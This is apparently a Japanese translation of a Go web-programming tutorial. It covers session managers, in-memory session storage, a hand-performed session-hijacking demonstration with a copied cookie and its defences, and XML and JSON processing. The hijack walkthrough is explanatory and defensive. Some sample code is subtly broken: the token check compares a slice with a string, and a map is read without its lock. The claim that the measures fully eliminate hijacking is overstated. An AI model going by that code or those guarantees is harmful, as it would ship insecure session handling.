    cookie, err := r.Cookie(manager.cookieName)
    if err != nil || cookie.Value == "" {
        sid := manager.sessionId()
        session, _ = manager.provider.SessionInit(sid)
        cookie := http.Cookie{Name: manager.cookieName, Value: url.QueryEscape(sid), Path: "/", HttpOnly: true, MaxAge: int(manager.maxlifetime)}
        http.SetCookie(w, &cookie)
    } else {
        sid, _ := url.QueryUnescape(cookie.Value)
        session, _ = manager.provider.SessionRead(sid)
    }
    return
}

前のlogin操作で示したsessionの運用を利用します：

func login(w http.ResponseWriter, r *http.Request) {
    sess := globalSessions.SessionStart(w, r)
    r.ParseForm()
    if r.Method == "GET" {
        t, _ := template.ParseFiles("login.gtpl")
        w.Header().Set("Content-Type", "text/html")
        t.Execute(w, sess.Get("username"))
    } else {
        sess.Set("username", r.Form["username"])
        http.Redirect(w, r, "/", 302)
    }
}

値の操作：設定、ロードおよび削除

SessionStart関数はSessionインターフェースを満足させる変数を返します。ではどのようにこれを利用してsessionデータに対し操作を行うのでしょうか？

上の例のコードsession.Get("uid")において基本的なデータのロード操作をお見せしました。ここではより詳しく操作を見ていくことにしましょう：

func count(w http.ResponseWriter, r *http.Request) {
    sess := globalSessions.SessionStart(w, r)
    createtime := sess.Get("createtime")
    if createtime == nil {
        sess.Set("createtime", time.Now().Unix())
    } else if (createtime.(int64) + 360) < (time.Now().Unix()) {
        globalSessions.SessionDestroy(w, r)
        sess = globalSessions.SessionStart(w, r)
    }
    ct := sess.Get("countnum")
    if ct == nil {
        sess.Set("countnum", 1)
    } else {
        sess.Set("countnum", (ct.(int) + 1))
    }
    t, _ := template.ParseFiles("count.gtpl")
    w.Header().Set("Content-Type", "text/html")
    t.Execute(w, sess.Get("countnum"))
}

上の例には、Sessionの操作とkey/valueデータベースに似た操作である：Set、Get、Deleteといった操作が見受けられます。

Sessionには有効期限の概念がありますので、GC操作を定義しました。アクセス期限が切れるとGCのトリガー条件を満たし、GCを呼び出します。しかし我々が任意のsession操作を行うと、Sessionエンティティに対し更新を行い、最終アクセス時間の修正を行います。このようにGCが行われる際は誤ってまだ使用されているSessionエンティティを削除してしまわないようにします。

sessionの再設定

Webアプリケーションにはユーザのログアウト操作があります。ユーザがアプリケーションをログアウトする時、このユーザのsessionデータを破棄する必要があります。上のコードはすでにどのようにsessionの再設定操作を使用するか示しています。ここではこの関数がこの機能を実装します：

//Destroy sessionid
func (manager *Manager) SessionDestroy(w http.ResponseWriter, r *http.Request){
    cookie, err := r.Cookie(manager.cookieName)
    if err != nil || cookie.Value == "" {
        return
    } else {
        manager.lock.Lock()
        defer manager.lock.Unlock()
        manager.provider.SessionDestroy(cookie.Value)
        expiration := time.Now()
        cookie := http.Cookie{Name: manager.cookieName, Path: "/", HttpOnly: true, Expires: expiration, MaxAge: -1}
        http.SetCookie(w, &cookie)
    }
}

sessionの破棄

ではSessionマネージャがどのように破棄を管理しているのかみてみることにしましょう。Mainが呼び出される際に実行するだけです：

func init() {
    go globalSessions.GC()
}

func (manager *Manager) GC() {
    manager.lock.Lock()
    defer manager.lock.Unlock()
    manager.provider.SessionGC(manager.maxlifetime)
    time.AfterFunc(time.Duration(manager.maxlifetime), func() { manager.GC() })
}

GCが十分にtimeパッケージのタイマー機能を利用していることがおわかりいただけるかと思います。時間がmaxLifeTimeを超えた後GC関数をコールした際、これによってmaxLiefTime時間内でsessionが利用できることを保証できます。このような方法はまたオンラインユーザの数といった統計に用いることもできます。

まとめ

これまでに、WebアプリケーションにおけるグローバルなSession管理に用いられるSessionManagerを実装してまいりました。Sessionを提供するために用いられるストレージを定義し、Providerのインターフェースを実装しました。次の節では、インターフェースの定義を通してProviderを実装します。ぜひご参考ください。

Generated by md2min

6.3 sessionストレージ

上の節でSessionマネージャの実装原理をご紹介しました。sessionを保存するインターフェースを定義したので、この節ではメモリに基づくsessionストレージインターフェースの実装例をご説明します。その他の保存方法についてはご自身で例を参考に実装してみてください。メモリの実装については下のコード例をご覧ください。

package memory

import (
    "container/list"
    "github.com/astaxie/session"
    "sync"
    "time"
)

var pder = &Provider{list: list.New()}

type SessionStore struct {
    sid          string                      //session idユニークID
    timeAccessed time.Time                   //最終アクセス時間
    value        map[interface{}]interface{} //sessionに保存される値
}

func (st *SessionStore) Set(key, value interface{}) error {
    st.value[key] = value
    pder.SessionUpdate(st.sid)
    return nil
}

func (st *SessionStore) Get(key interface{}) interface{} {
    pder.SessionUpdate(st.sid)
    if v, ok := st.value[key]; ok {
        return v
    } else {
        return nil
    }
    return nil
}

func (st *SessionStore) Delete(key interface{}) error {
    delete(st.value, key)
    pder.SessionUpdate(st.sid)
    return nil
}

func (st *SessionStore) SessionID() string {
    return st.sid
}

type Provider struct {
    lock     sync.Mutex               //ロックに使用します
    sessions map[string]*list.Element //メモリに保存するために使用します
    list     *list.List               //gcを行うために使用します
}

func (pder *Provider) SessionInit(sid string) (session.Session, error) {
    pder.lock.Lock()
    defer pder.lock.Unlock()
    v := make(map[interface{}]interface{}, 0)
    newsess := &SessionStore{sid: sid, timeAccessed: time.Now(), value: v}
    element := pder.list.PushBack(newsess)
    pder.sessions[sid] = element
    return newsess, nil
}

func (pder *Provider) SessionRead(sid string) (session.Session, error) {
    if element, ok := pder.sessions[sid]; ok {
        return element.Value.(*SessionStore), nil
    } else {
        sess, err := pder.SessionInit(sid)
        return sess, err
    }
    return nil, nil
}

func (pder *Provider) SessionDestroy(sid string) error {
    if element, ok := pder.sessions[sid]; ok {
        delete(pder.sessions, sid)
        pder.list.Remove(element)
        return nil
    }
    return nil
}

func (pder *Provider) SessionGC(maxlifetime int64) {
    pder.lock.Lock()
    defer pder.lock.Unlock()

    for {
        element := pder.list.Back()
        if element == nil {
            break
        }
        if (element.Value.(*SessionStore).timeAccessed.Unix() + maxlifetime) < time.Now().Unix() {
            pder.list.Remove(element)
            delete(pder.sessions, element.Value.(*SessionStore).sid)
        } else {
            break
        }
    }
}

func (pder *Provider) SessionUpdate(sid string) error {
    pder.lock.Lock()
    defer pder.lock.Unlock()
    if element, ok := pder.sessions[sid]; ok {
        element.Value.(*SessionStore).timeAccessed = time.Now()
        pder.list.MoveToFront(element)
        return nil
    }
    return nil
}

func init() {
    pder.sessions = make(map[string]*list.Element, 0)
    session.Register("memory", pder)
}

上のコードはメモリに保存するsessionメカニズムを実現しています。init関数を通じてsessionマネージャに登録されます。このように簡単にコールすることができます。どのようにこのエンジンをコールするのでしょうか？下のコードをご覧ください。

import (
    "github.com/astaxie/session"
    _ "github.com/astaxie/session/providers/memory"
)

importを行う際、memory関数ではinit関数がすでに実行されています。これによりすでにsessionマネージャへの登録が済んでいますので、使用することができます。下の方法によってsessionマネージャを初期化することができます：

var globalSessions *session.Manager

//この後、init関数で初期化を行います。
func init() {
    globalSessions, _ = session.NewManager("memory", "gosessionid", 3600)
    go globalSessions.GC()
}

Generated by md2min

6.4 sessionハイジャックの予防

sessionハイジャックの過程

sessionハイジャックの予防措置

cookieonlyとtoken

間隔をおいて新しいSIDを生成する

sessionハイジャックは広範囲に存在する比較的重大な脆弱性です。session技術において、クライアントサイドとサーバサイドはsessionのIDによってセッションを維持します。しかしこのIDは簡単にスニッフィングされ、第三者に利用されてしまいます。これは中間者攻撃の一種です。

本章ではセッションハイジャックの実例をお見せします。この実例を通して、読者がよりsessionの本質への理解を深めていただけることを願っています。

sessionハイジャックの過程

下のようなcountカウンターを書きます：

func count(w http.ResponseWriter, r *http.Request) {
    sess := globalSessions.SessionStart(w, r)
    ct := sess.Get("countnum")
    if ct == nil {
        sess.Set("countnum", 1)
    } else {
        sess.Set("countnum", (ct.(int) + 1))
    }
    t, _ := template.ParseFiles("count.gtpl")
    w.Header().Set("Content-Type", "text/html")
    t.Execute(w, sess.Get("countnum"))
}

count.gtplのコードは以下の通り：

Hi. Now count:{{.}}

ブラウザ上でリロードを行うと以下のような内容が確認できます：

図6.4 ブラウザでcount数を表示

リロードによって、数字は際限なく増加します。数字が6を示した時ブラウザ（ここではchromeを例にとります）のcookieマネージャを開くと、以下のような情報を見ることができます：

図6.5 ブラウザが保存しているcookieを取得

次のステップが重要です：別のブラウザ(ここではfirefoxブラウザを開きました)を開き、chromeのアドレスバーのアドレスを新たに開いたブラウザのアドレスバーにコピーします。その後firefoxのcookieエミュレートプラグインを開き、新規にcookieを作成します。上の図のcookieの内容をそのままfirefoxの中に再設定します：

図6.6 cookieをエミュレート

エンターキーを押すと、下のような内容が現れます：

図6.7 sessionのハイジャックに成功

ブラウザを変えても、sessionIDを取得することができました。この後cookieの保存過程をエミュレートします。この例は一台のコンピュータの上で行ったものです。たとえ二台によって行ったとしても結果は同じです。この時もし交代で２つのブラウザのリンクをクリックした場合、操作しているカウンターが実は同じものであるということに気づくでしょう。驚くことはありません。ここではfirefoxがchromeとgoserver間のセッション維持の鍵を盗みました。すなわち、gosessionidです。これは“セッションハイジャック”の一種です。goserverからすると、httpリクエストからgosessionidを得ました。HTTPプロトコルのステートレスによってgosessionidがchromeから“ハイジャック”されたものなんか知る方法はありません。依然として対応するsessionを探し、関連する計算を実行します。同時にchromeも自分が保持しているセッションがすでに“ハイジャック”されたことを知る方法もありません。

sessionハイジャックの予防措置

cookieonlyとtoken

上のセッションハイジャックの簡単な例で、sessionが他の人にハイジャックされると非常に危険だとわかりました。ハイジャック側はハイジャックされた側を装い多くの非合法な操作を行うことができます。ではどのように効果的にsessionハイジャックを防止するのでしょうか？

ひとつの方法はsessionIDの値にcookieによってのみ設定されるようにすることです。URLの書き直し方法は許さないようにし、同時にcookieのhttponlyをtrueに設定します。このプロパティはクライアントサイドのスクリプトが設定されたcookieにアクセスできるか否かを設定します。まず、これによってこのcookieがXSSによって読み取られ、sessionハイジャックを引き起こすことを防止できます。つぎにcookieの設定がURLの書き直し方法によって容易にsessionIDを取得することができなくなります。

ステップ2は各リクエストの中にtokenを追加することです。前の章で述べたformの重複送信を防止するのに似た機能を実装します。各リクエストの中で隠されたtokenを追加し、毎回このtokenを検証することでユーザのリクエストがユニークであることを保証します。

h := md5.New()
salt:="astaxie%^7&8888"
io.WriteString(h,salt+time.Now().String())
token:=fmt.Sprintf("%x",h.Sum(nil))
if r.Form["token"]!=token{
    //ログイン画面を表示
}
sess.Set("token",token)

間隔をおいて新しいSIDを生成する

もう一つの方法は、sessionの他に作成時間を設けることです。一定の時間が過ぎると、このsessionIDは破棄され、再度新しいsessionが生成されます。このようにすることで、ある程度sessionハイジャックの問題を防ぐことができます。

createtime := sess.Get("createtime")
if createtime == nil {
    sess.Set("createtime", time.Now().Unix())
} else if (createtime.(int64) + 60) < (time.Now().Unix()) {
    globalSessions.SessionDestroy(w, r)
    sess = globalSessions.SessionStart(w, r)
}

sessionが始まると、生成されたsessionIDの時間を記録する一つの値が設定されます。毎回のリクエストが有効期限(ここでは60秒と設定しています)を超えていないか判断し、定期的に新しいIDを生成します。これにより攻撃者は有効なsessionIDを取得する機会を大きく失います。

上の２つの手段を組み合わせると実践においてsessionハイジャックのリスクを取り除くことができます。sessionIDを頻繁に変えると攻撃者に有効なsessionIDを取得する機会を失わせます。sessionIDはcookieの中でやりとりされ、httponlyを設定されるため、URLに基づいた攻撃の可能性はゼロです。同時にXSSによるsessionIDの取得も不可能です。最後にMaxAge=0を設定します。これによりsession cookieがブラウザのログの中に記録されなくなります。

Generated by md2min

6.5 まとめ

この章ではsession/cookieとは何かを、また両者の関係について勉強しました。しかし現在Goのオフィシャルパッケージではsessionがサポートされていません。そのため、sessionマネージャを設計しました。sessionの作成から破棄に至る全体の過程を実装し、Providerのインターフェースを定義することによって、各バックエンドのsessionストレージをサポートできるようにしました。第三節ではメモリストレージによってどのようにsessionの管理を実装するのかご紹介しました。第四節ではsessionハイジャックの過程と、どのようにsessionハイジャックを防止するのかを解説しました。第一章の解説を通して、読者の皆様方にはsessionの実行原理とどのように実現されるか、またどのように安全にsessionを使用するかについて理解いただけるよう望んています。

Generated by md2min

7 テキスト処理

目次

Web開発においてテキスト処理は非常に重要な要素です。往々にして出力または入力する内容に対して処理を行う必要があります。ここでのテキストには文字列、数字、Json、XML等々が含まれます。高性能な一言語としてのGo言語では、これらのテキストの処理はすべてオフィシャルの標準パッケージにサポートされています。また利用中にGo標準ライブラリが巧みに設計されていることに気がつくでしょう。またユーザからすれば非常に簡単にこれらのテキストを処理することができます。本章では４つの節を通してユーザにGo言語のテキスト処理のよい知識をご紹介したいきたいと思います。

XMLは現在多くの標準インターフェースの対話型言語となっています。多くの場合Javaで書かれたwebserverとのやりとりはどれもXML標準にもとづいて行われます。7.1節ではどのようにXMLテキストを処理するかご紹介します。XMLを使用した後あまりに複雑だと気づきます。現在多くのインターネット企業の対外的なAPIでは多くがJSON形式を採用しています。この形式は描写が簡単ですが、意味をよく表現することができます。7.2節ではどのようにこういったJSON形式のデータを処理するかご説明します。正規表現は人に愛され、また恨まれる道具です。このテキスト処理能力は非常に協力です。我々は前のフォームの検証でその強力さをすでに味わっています。7.3節ではどのようにGoの正規表現を利用するのがよいかより詳しく解説していきます。Web開発において非常に重要な部分としてMVCの分離があります。Go言語ではWeb開発中Vにおいてtemplateという専門的にサポートするパッケージがあります。7.4節ではテンプレートをつかってコンテンツをどのように出力するのか詳細に解説していきます。7.5節ではどのようにしてファイルとディレクトリを操作するのか詳しくご紹介します。7.6節のまとめでは文字列に関する操作についてご紹介します。

目次

Generated by md2min

7.1 XMLの処理

XMLの解析

XMLの出力

XMLはデータと情報のやりとりするための形式として十分普及しています。Webサービスが日々広範囲で応用されてくるにつれ、現在XMLは日常的な開発作業において重要な役割を演じてきました。この節ではGo言語の標準パッケージにあるXML関連のパッケージをご紹介します。

この節ではXMLの規約に関する内容には触れず（もし関連した知識が必要であれば他の文献をあたってください）、どのようにGo言語でXMLファイルをエンコード/デコードするかといった知識についてご紹介します。

あなたが作業員だとして、あなたが管理するすべてのサーバに以下のような内容のxmlの設定ファイルを作成するとします：

<?xml version="1.0" encoding="utf-8"?>
<servers version="1">
    <server>
        <serverName>Shanghai_VPN</serverName>
        <serverIP>127.0.0.1</serverIP>
    </server>
    <server>
        <serverName>Beijing_VPN</serverName>
        <serverIP>127.0.0.2</serverIP>
    </server>
</servers>

上のXMLドキュメントは2つのサーバの情報を記述しています。サーバ名とサーバのIP情報を含んでいます。以降のGoの例ではこのXML記述に対して操作を行なっていきます。

XMLの解析

どのようにして上のXMLファイルを解析するのでしょうか？xmlパッケージのUnmarshal関数を使って目的を達成することができます。

func Unmarshal(data []byte, v interface{}) error

dataはXMLのデータストリームを受け取ります。vは出力先となる構造体です。定義はinterfaceで、XMLを任意の形式に変換することができます。ここでは主にstructの変換をご紹介します。なぜなら、structとXMLはどちらも似たようなツリー構造の特徴を持っているからです。

コード例は以下の通り：

package main

import (
    "encoding/xml"
    "fmt"
    "io/ioutil"
    "os"
)

type Recurlyservers struct {
    XMLName     xml.Name `xml:"servers"`
    Version     string   `xml:"version,attr"`
    Svs         []server `xml:"server"`
    Description string   `xml:",innerxml"`
}

type server struct {
    XMLName    xml.Name `xml:"server"`
    ServerName string   `xml:"serverName"`
    ServerIP   string   `xml:"serverIP"`
}

func main() {
    file, err := os.Open("servers.xml") // For read access.
    if err != nil {
        fmt.Printf("error: %v", err)
        return
    }
    defer file.Close()
    data, err := ioutil.ReadAll(file)
    if err != nil {
        fmt.Printf("error: %v", err)
        return
    }
    v := Recurlyservers{}
    err = xml.Unmarshal(data, &v)
    if err != nil {
        fmt.Printf("error: %v", err)
        return
    }

    fmt.Println(v)
}

XMLは本来ツリー構造のデータ形式なので、対応するgo言語のstruct型を定義することができます。xml.Unmarshalを使ってxmlの中にあるデータを解析し、対応するstructオブジェクトにします。上の例では以下のようなデータを出力します。

{{ servers} 1 [{{ server} Shanghai_VPN 127.0.0.1} {{ server} Beijing_VPN 127.0.0.2}]
<server>
    <serverName>Shanghai_VPN</serverName>
    <serverIP>127.0.0.1</serverIP>
</server>
<server>
    <serverName>Beijing_VPN</serverName>
    <serverIP>127.0.0.2</serverIP>
</server>
}

上の例では、xmlファイルを解析して対応するstructオブジェクトにするにはxml.Unmarshalによって行われました。この過程はどのように実現されているのでしょうか？我々のstruct定義の後の方を見てみるとxml:"serverName"のような内容があることがわかります。これはstructの特徴の一つです。struct tagと呼ばれています。これはリフレクションを補助するために用いられます。Unmarshal`の定義を見てみましょう：

func Unmarshal(data []byte, v interface{}) error

関数には２つの引数があることがわかります。はじめの引数はXMLデータストリームです。ふたつめは保存される対応した型です。現在struct、sliceおよびstringをサポートしています。XMLパッケージの内部ではリフレクションを採用してデータのリフレクションを行なっています。そのため、vの中のフィールドは必ずエクスポートされなければなりません。Unmarshalが解析する際XML要素とフィールドはどのように対応づけられるのでしょうか？これは優先度のあるロードプロセスです。まずstruct tagを読み込み、もしなければ、対応するフィールド名となります。注意しなければならないのは、tag、フィールド名、XML要素を解析する際大文字と小文字を区別するということです。そのため、フィールドは逐一対応していなければなりません。

Go言語のリフレクションメカニズムはこれらのtag情報を使って将来XMLファイルにあるデータをstructオブジェクトに反映させることができます。リフレクションがどのようにstruct tagを利用するかについてのより詳しい内容yはreflectの中の対応するコンテンツをご参照ください。

XMLをstructに解析する際は以下のルールに従います：

もしstructのフィールドがstringまたは[]byte型であり、tagに",innerxml"を含む場合は、Unmarshalはこのフィールドが対応する要素の中に含まれるすべてのオリジナルのxmlをこのフィールドに上乗せします。上の例のDescription定義のように、最後の出力は以下のようになります：

<server>
    <serverName>Shanghai_VPN</serverName>
    <serverIP>127.0.0.1</serverIP>
</server>
<server>
    <serverName>Beijing_VPN</serverName>
    <serverIP>127.0.0.2</serverIP>
</server>

もしstructにXMLNameがあり、かつ型がxml.Nameフィールドであれば、解析する際このelementの名前をこのフィールドに保存します。上の例ではserversにあたります。

もしあるstructフィールドのtagの定義においてXML構造のelementの名前が含まれている場合、解析する際対応するelement値をこのフィールドに代入します。上の例ではservernameとserverip定義にあたります。

もしあるstructフィールドのtag定義の中に",attr"とあれば、解析の際にこの構造に対応するelementとフィールド名のプロパティの値をこのフィールドに代入します。上の例のversion定義にあたります。

もしあるstructフィールドのtag定義の型が"a>b>c"のようであれば、解析の際にxml構造のaの下のbの下のc要素の値をこのフィールドに代入します。

もしあるstructフィールドのtagが"-"を定義していると、このフィールドに対してはいかなるマッチしたxmlデータも解析しません。

もしstructフィールドの後のtagに",any"が定義されていると、もしこの子要素が他のルールを満足していない場合にこのフィールドにマッチします。

もしあるXML要素がひとつまたは複数のコメントを含んでいる場合、これらのコメントはひとつめのtagに含まれる“comments”のフィールドに上乗せされます。このフィールドの型は[]byteやstringである可能性があります。もしこのようなフィールドが存在しなければ、コメントは破棄されます。

上でどのようにstructのtagを定義するか詳細に述べました。tagが正しく設定されていさえすれば、XML解析は上の例のように簡単になります。tagとXMLのelementは一つ一つ対応しています。上で示したとおり、sliceによって複数の同じレベルの要素を表現することもできます。

注意：正しく解析するために、go言語のxmlパッケージはstructの定義の中ですべてのフィールドがエクスポート可能である必要があります。（つまり、頭文字が大文字であるということです。）

XMLの出力

もし我々が上で示したようなXMLファイルを解析したいのではなく、生成したいとしたら、go言語ではどのように実現すべきでしょうか？xmlパッケージで提供されるMarshalとMarshalIndentという２つの関数で我々の需要を満たすことができます。この２つの関数の主な違いは２つ目の関数はプレフィックスを増加したり短縮したりする可能性があるということです。関数の定義は下の通り：

func Marshal(v interface{}) ([]byte, error)
func MarshalIndent(v interface{}, prefix, indent string) ([]byte, error)

２つの関数のはじめの引数はXMLの構造体が定義する型のデータを生成するために用いられます。どちらも生成したXMLデータストリームを返します。

ここでは上のXMLをどのように出力するのか見てみましょう：

package main

import (
    "encoding/xml"
    "fmt"
    "os"
)

type Servers struct {
    XMLName xml.Name `xml:"servers"`
    Version string   `xml:"version,attr"`
    Svs     []server `xml:"server"`
}

type server struct {
    ServerName string `xml:"serverName"`
    ServerIP   string `xml:"serverIP"`
}

func main() {
    v := &Servers{Version: "1"}
    v.Svs = append(v.Svs, server{"Shanghai_VPN", "127.0.0.1"})
    v.Svs = append(v.Svs, server{"Beijing_VPN", "127.0.0.2"})
    output, err := xml.MarshalIndent(v, "  ", "    ")
    if err != nil {
        fmt.Printf("error: %v\n", err)
    }
    os.Stdout.Write([]byte(xml.Header))

    os.Stdout.Write(output)
}

上のコードは以下のような情報を出力します：

<?xml version="1.0" encoding="UTF-8"?>
<servers version="1">
<server>
    <serverName>Shanghai_VPN</serverName>
    <serverIP>127.0.0.1</serverIP>
</server>
<server>
    <serverName>Beijing_VPN</serverName>
    <serverIP>127.0.0.2</serverIP>
</server>
</servers>

我々が以前定義したファイルの形式とまったく同じです。os.Stdout.Write([]byte(xml.Header))というコードが出現したのは、xml.MarshalIndentまたはxml.Marshalが出力する情報がどちらもXMLヘッダを持たないためです。正しいxmlファイルを生成するために、xmlパッケージであらかじめ定義されているHeader変数を使用しました。

Marshal関数が受け取る引数vはinterface{}型です。つまり任意の型の引数を受け取れることを示しています。ではxmlパッケージはどのようなルールにしたがって対応するXMLファイルを生成しているのでしょうか？

もしvがarrayまたはsliceであれば、各要素を出力します。valueのようなものです。

もしvがポインタであれば、Marshalポインタが指し示す内容となります。もしポインタが空であれば、何も出力しません。

もしvがinterfaceであれば、interfaceが含むデータを処理します。

もしvがその他のデータ型であれば、このデータ型がもつフィールド情報を出力します。

また、生成されるXMLファイルの中のelementの名前はどのように決定するのでしょうか？要素名は下の優先度に従ってstructの中より取得されます：

もしvがstructであれば、XMLNameのtagで定義されている名前となります。

型がxml.Nameの名前であれば、XMLNameのフィールドの値が呼ばれます。

structのフィールドのtagを通して取得されます。

structのフィールド名を通して取得されます。

marshallの型名になります。

どのようにしてstructの中のフィールドのtag情報を設定し、最終的なxmlファイルの生成をコントロールするのでしょうか？

XMLNameは出力されません

tagに含まれる"-"のフィールドは出力されません

tagに含まれる"name,attr"では、nameをプロパティ名、フィールド値を値としてこのXML要素を出力します。

tagに含まれる",attr"では、このstructのフィールド名をプロパティ名としてXML要素の属性を出力します。上と同じようにこのnameのデフォルト値がフィールド名となるだけです。

tagに含まれる",chardata"では、xmlのcharacter dataが出力されます。elementではありません。

tagに含まれる",innerxml"では、元の通り出力されます。一般的なエンコーディングプロセスは行われません。

tagに含まれる",comment"では、xmlコメントとして出力されます。一般的なエンコーディングプロセスは行われません。フィールドの値には“–”という文字列を含めることができません。

tagに含まれる"omitempty"では、もしこのフィールドの値が空であればこのフィールドはXMLに出力されません。空の値には以下が含まれます： false、0、nilポインタまたはnilインターフェースまたは長さが0のarray、slice、map、string。

tagに含まれる"a>b>c"では、３つの要素aが含むb、bが含むcが順番に出力されます。例えば以下のコードではこうなります：

FirstName string   `xml:"name>first"`
LastName  string   `xml:"name>last"`

<name>
<first>Asta</first>
<last>Xie</last>
</name>

ここではどのようにGo言語のxmlパッケージを使ってXMLファイルをエンコード/デコードするかご紹介しました。大切なのはXMLのすべての操作はすべてstruct tagによって実現されているという点です。より詳しい内容またはtagの定義については対応するオフィシャルドキュメントをご参照ください。

Generated by md2min

7.2 JSONの処理

JSONの解析

構造体に解析する

interfaceに解析する

JSONを生成する

JSON（Javascript Object Notation）は軽量なデータ記述言語です。文字を基礎とした言語のテキスト形式で、C言語ファミリーに似た習慣を採用しています。JSONとXMLの最も大きな違いはXMLが完全なマークアップ言語であるのに対し、JSONがそうでない点です。JSONはXMLに比べ小さく、早く簡単に解析でき、ブラウザのビルトインの素早い解析のサポートもあり、ネットワークのデータ転送分野により適しています。現在我々が見ることのできる多くのオープンプラットフォームでは基本的にJSONをデータ交換のインターフェースとして採用しています。JSONはWeb開発の中でもこのように重要でありますから、Go言語ではJSONのサポートはどうなっているのでしょうか？Go言語の標準ライブラリはすでに非常に良くJSONをサポートしています。JSONデータに対してとても簡単にエンコード/デコードといった作業を行うことができます。

前の節の操作の例でJSONを使って表示しました。結果は以下の通りです：

{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}

この節の残りの内容はこのJSONデータをもとに、go言語のjsonパッケージによるJSONデータのエンコード/デコードをご紹介します。

JSONの解析

構造体に解析する

上のようなJSON文字列があると仮定します。ではどのようにこのJSON文字列を解析するのでしょうか？GoのJSONパッケージには以下のような関数があります

func Unmarshal(data []byte, v interface{}) error

この関数を使って解析の目的を実現することができます。詳細な解析の例は以下のコードをご覧ください：

package main

import (
    "encoding/json"
    "fmt"
)

type Server struct {
    ServerName string
    ServerIP   string
}

type Serverslice struct {
    Servers []Server
}

func main() {
    var s Serverslice
    str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}`
    json.Unmarshal([]byte(str), &s)
    fmt.Println(s)
}

上のコード例の中では、まずjsonデータに対応する構造体を定義します。配列はsliceに、フィールド名はJSONの中のKEYに相当します。解析の際どのようにjsonデータとstructフィールドをマッチさせるのでしょうか？例えばJSONのkeyがFooであった場合、どのようにして対応するフィールドを探すのでしょうか？

まずtagに含まれるFooのエクスポート可能なstructフィールド(頭文字が大文字)を探し出します。

次にフィールド名がFooのエクスポートフィールドを探し出します。

最後にFOOまたはFoOのような頭文字を除いたその他の大文字小文字を区別しないエクスポートフィールドを探し出します。

聡明なあなたであればお気づきかもしれません：代入されうるフィールドはエクスポート可能なフィールドである必要があります。（すなわち、頭文字が大文字であるということです。）同時にJSONを解析する際探しだせるフィールドを解析するのみで、探せないフィールドについては無視されます。これのメリットは：とても大きなJSONデータ構造を受け取ってしまいその中のいち部分のデータだけを取得したいような場合です。あなたは必要なデータに対応するフィールド名の大文字だけで簡単にこの問題を解決することができます。

interfaceに解析する

上のような解析方法は解析されるJSONデータの構造を事前に知っている場合に採用されるソリューションです。もし解析されるデータの形式が事前に分からなかった場合はどのように解析すればよいでしょうか？

我々はinterface{}に任意のデータ型のオブジェクトを保存できることを知っています。このようなデータ構造は未知の構造のjsonデータの解析結果を保存するのにぴったりです。JSONパッケージではmap[string]interface{}と[]interface{}構造を採用して任意のJSONオブジェクトと配列を保存します。Goの型とJSONの型の対応関係は以下の通りです：

bool は JSON booleans を表します,

float64 は JSON numbers を表します,

string は JSON string を表します,

nil は JSON null を表します,

現在以下のようなJSONデータがあるものと仮定します

b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`)

この構造を知らない段階では、これをinterface{}の中に解析します。

var f interface{}
err := json.Unmarshal(b, &f)

この時fの中にはmap型が保存されます。これらのkeyはstringで、値は空のinterface{]の中に保存されます。

f = map[string]interface{}{
    "Name": "Wednesday",
    "Age":  6,
    "Parents": []interface{}{
        "Gomez",
        "Morticia",
    },
}

ではどのようにしてこれらのデータにアクセスするのでしょうか？アサーションによる方法です：

m := f.(map[string]interface{})

アサーションを通して以下のような方法で中のデータにアクセスすることができます。

for k, v := range m {
    switch vv := v.(type) {
    case string:
        fmt.Println(k, "is string", vv)
    case int:
        fmt.Println(k, "is int", vv)
    case float64:
        fmt.Println(k,"is float64",vv)
    case []interface{}:
        fmt.Println(k, "is an array:")
        for i, u := range vv {
            fmt.Println(i, u)
        }
    default:
        fmt.Println(k, "is of a type I don't know how to handle")
    }
}

上の例では、interface{}とtype assertの組み合わせによって未知の構造のJSONデータを解析することができました。

これはオフィシャルが提供するソリューションです。実は多くの場合、型のアサーションは操作からしてあまり便利ではありません。現在bitly社ではsimplejsonと呼ばれるパッケージがオープンに開発されています。未知の構造体のJSONを処理する場合にとても便利です。詳細な例は以下の通り：

js, err := NewJson([]byte(`{
    "test": {
        "array": [1, "2", 3],
        "int": 10,
        "float": 5.150,
        "bignum": 9223372036854775807,
        "string": "simplejson",
        "bool": true
    }
}`))

arr, _ := js.Get("test").Get("array").Array()
i, _ := js.Get("test").Get("int").Int()
ms := js.Get("test").Get("string").MustString()

このようにこのライブラリを使用してJSONを操作するのはオフィシャルパッケージに比べてとても簡単です。詳細は以下のアドレスをご参照ください：https://github.com/bitly/go-simplejson

JSONを生成する

多くのアプリケーションを開発する際、最後はJSONデータ文字列を出力する必要があります。ではどのようにして処理するのでしょうか？JSONパッケージではMarshal関数を通して処理します。関数の定義は以下の通り：

func Marshal(v interface{}) ([]byte, error)

上のサーバのリスト情報を出力する必要があるものと仮定します。どのように処理すべきでしょうか？下の例をご覧ください：

package main

import (
    "encoding/json"
    "fmt"
)

type Server struct {
    ServerName string
    ServerIP   string
}

type Serverslice struct {
    Servers []Server
}

func main() {
    var s Serverslice
    s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"})
    s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"})
    b, err := json.Marshal(s)
    if err != nil {
        fmt.Println("json err:", err)
    }
    fmt.Println(string(b))
}

下のような内容が出力されます：

{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]}

上で出力されたフィールド名の頭文字はどれも大文字です。もし頭文字に小文字を使いたい場合はどうすればよいでしょうか？構造体のフィールド名の頭文字を小文字にすべきでしょうか？JSONで出力する際に注意が必要なのは、エクスポートされたフィールドのみが出力されるということです。もしフィールド名を修正してしまうと、何も出力されなくなってしまいます。ですので必ずstruct tagによって定義した上で実装する必要があります：

type Server struct {
    ServerName string `json:"serverName"`
    ServerIP   string `json:"serverIP"`
}

type Serverslice struct {
    Servers []Server `json:"servers"`
}

上の構造体の定義を修正することで、出力されるJSON文字列と我々が最初に定義したJSON文字列は一致します。

JSONの出力に対して、struct tagを定義する場合注意すべきいくつかのことは：

フィールドのtagが"-"であった場合、このフィールドはJSONに出力されません。

